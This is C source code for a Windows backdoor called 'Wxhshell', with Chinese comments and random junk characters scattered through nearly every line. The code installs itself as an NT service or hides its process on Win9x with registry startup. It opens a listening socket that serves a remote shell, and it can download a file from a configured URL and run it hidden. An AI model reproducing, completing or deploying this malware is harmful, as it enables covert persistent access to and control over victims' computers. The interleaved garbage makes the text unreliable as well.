V:J9 Ns&SZO CloseHandle(hProcess); >_tn7Z0L QBDi;Xzb+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9<,\+}^{ if(hProcess==NULL) return 0; aq[kKS` |<9R% HMODULE hMod; F8/4PB8- char procName[255]; -pyTzC$HO unsigned long cbNeeded; ~?S/0]?c i!sKL%z} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7e>n{rl r!j_KiUy CloseHandle(hProcess); ~eE2!/%9 lHr?sMt if(strstr(procName,"services")) return 1; // 以服务启动 /ey}#SHm, 8 w^i return 0; // 注册表启动 \*a7DuVw } @k ~Xem%<
:\gdQG // 主模块 ;h3c+7u1 int StartWxhshell(LPSTR lpCmdLine) &P,8)YA { BTGPP@p4 SOCKET wsl; M0 =K#/ BOOL val=TRUE; O z]iHe int port=0; ,Cde5A{K struct sockaddr_in door; s#-`,jqD 57D /" if(wscfg.ws_autoins) Install(); 3S
+.]v> RE7 I" port=atoi(lpCmdLine); #!C/~"Y*`| M|7xI if(port<=0) port=wscfg.ws_port; ;1K.SDj ->$Do$ WSADATA data; SUHyg/|F if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7s1FJm=Y/ )t&j0`Yq if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $oe:km1-D setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R\
<HR9 r door.sin_family = AF_INET; ~ex1,J*}t door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6# ,2 door.sin_port = htons(port); UC\CCDV#^ ?0Z?Z3)%w4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ST] h NM closesocket(wsl); &mp=j GR return 1; :anUr< } Z^>{bW =P-kb^ s if(listen(wsl,2) == INVALID_SOCKET) { )lBke*j~ closesocket(wsl); .Hc]?R] return 1; ?%{v1( } b~WiE? Wxhshell(wsl); Ihw^g<X WSACleanup(); Yfs60f S:+SZq return 0; K!0vvP2H DO8@/W(
` } QI.{M$,m~ Pur~Rz\\ // 以NT服务方式启动 OZB(4{vnyC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )zf&`T { 3g0[(; DWORD status = 0; [; DWORD specificError = 0xfffffff; ( Y'q%$ `XE8[XY serviceStatus.dwServiceType = SERVICE_WIN32; V80g+)| serviceStatus.dwCurrentState = SERVICE_START_PENDING; :Bz*vH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~K&ko8 serviceStatus.dwWin32ExitCode = 0; iYEhrb serviceStatus.dwServiceSpecificExitCode = 0; -}AAA*P serviceStatus.dwCheckPoint = 0; PB(mUD2"r serviceStatus.dwWaitHint = 0; &k+jVymH 4w<U%57 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f]jAa?d T& if (hServiceStatusHandle==0) return; 6X$]d^)h{ Oc}4`?oy<O status = GetLastError(); h2QoBGL5 if (status!=NO_ERROR) [:&4 Tp*C { WA\
P`'lg serviceStatus.dwCurrentState = SERVICE_STOPPED; `07xW*K(\Y serviceStatus.dwCheckPoint = 0; h;u8{t" serviceStatus.dwWaitHint = 0; {r yv7G serviceStatus.dwWin32ExitCode = status; &"p7X>bd serviceStatus.dwServiceSpecificExitCode = specificError; >ZTRwy`_( SetServiceStatus(hServiceStatusHandle, &serviceStatus); XJ^dX]4 return; ?>92OuG%W? } ^7G@CBic" f!|7j}3 serviceStatus.dwCurrentState = SERVICE_RUNNING; wrSw> sE" serviceStatus.dwCheckPoint = 0; ]DHB'NOh, serviceStatus.dwWaitHint = 0; u!S ^lV@ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ('hr;s= } ^_0zO$z, p2cwW/^V // 处理NT服务事件,比如:启动、停止 (&H-v'a}3 VOID WINAPI NTServiceHandler(DWORD fdwControl) H$bu*o-Z { 8E`A`z switch(fdwControl) outAZy=R; { Q`j!$r case SERVICE_CONTROL_STOP: 0<d9al|J serviceStatus.dwWin32ExitCode = 0; e%Rg,dX serviceStatus.dwCurrentState = SERVICE_STOPPED; yU<T_&M
serviceStatus.dwCheckPoint = 0; __dSEOGoe serviceStatus.dwWaitHint = 0; ?Imq4I~) { !VBl/ aU@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); X,DG2HT } b*i_'k}*<g return; f*)8bZDD case SERVICE_CONTROL_PAUSE: >rJ9^rS serviceStatus.dwCurrentState = SERVICE_PAUSED; mwU|Hh)N] break; !6{; z/Hy case SERVICE_CONTROL_CONTINUE: Gi]R8?M serviceStatus.dwCurrentState = SERVICE_RUNNING; kG 7]<^Os3 break; u*u3<YQ case SERVICE_CONTROL_INTERROGATE: 6AD#x7drj break; X`
r~cc }; |>X5@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); A/:^l%y,GZ } 1-JdQs6 ^Y[.-MJt+ // 标准应用程序主函数 qtlXDgppO int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `>'%!E9G { :E`/z@I 4}-{sS}MP // 获取操作系统版本 _-mSK/Z OsIsNt=GetOsVer(); <~s{&cL!%# GetModuleFileName(NULL,ExeFile,MAX_PATH); *f<+yF{=A .S4c<pMap // 从命令行安装 Y=0D[o8 if(strpbrk(lpCmdLine,"iI")) Install(); #2
Gy=GvV ~nLE?>x|Z // 下载执行文件 %+gK5aVab if(wscfg.ws_downexe) { %QYW0lE if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2E7vuFH4c WinExec(wscfg.ws_filenam,SW_HIDE); gkkT<hEV= } -|_#6-9 "]H_;:{f if(!OsIsNt) { %?
87#| // 如果时win9x,隐藏进程并且设置为注册表启动 `_"F7Czn HideProc(); . l1uqCuB StartWxhshell(lpCmdLine); JO3"$s|t } rx[l7F
q else [9N>*dKB if(StartFromService()) !C]2:+z-MF // 以服务方式启动 !g|)?XWc StartServiceCtrlDispatcher(DispatchTable); :]]#X
~J else X0\O3l*j // 普通方式启动 LKC^Y)6o StartWxhshell(lpCmdLine); $?`-} wY }KFf return 0; 'tyblj C }
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